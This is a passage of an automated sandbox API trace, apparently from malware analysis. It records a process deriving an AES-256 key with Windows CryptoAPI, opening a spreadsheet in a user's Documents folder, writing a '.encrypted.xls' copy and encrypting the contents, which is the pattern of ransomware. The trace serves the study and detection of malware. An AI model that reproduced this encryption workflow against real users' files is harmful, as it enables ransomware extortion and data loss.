hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.768] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.768] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.768] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.768] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.768] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.768] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0024.768] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.769] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.769] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.769] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.769] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.769] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.769] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.769] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.770] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.770] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.770] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.770] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.770] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418bb70, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.770] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.770] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.771] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.771] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.771] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.771] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0024.771] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.771] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.771] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.771] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.771] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.771] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.771] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.771] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.771] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0024.772] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.772] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.772] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.772] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.772] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.773] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.xls" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\mz7ef7dcig3 gnt3v.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.773] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.773] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.773] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.773] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.773] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.773] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai")) returned 0x10 [0024.773] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.encrypted.xls" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\mz7ef7dcig3 gnt3v.encrypted.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.774] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.774] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.774] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.774] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.775] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.775] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xf3d2, lpOverlapped=0x0) returned 1 [0024.776] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.778] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.779] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.779] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.779] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.779] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.779] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.779] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.780] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.780] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.780] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.780] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.780] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.780] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.781] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.781] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064b80, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b80*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.781] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.781] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.781] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.781] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.781] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.782] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.782] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xf3d2, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xf3e0) returned 1 [0024.782] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.782] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.782] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 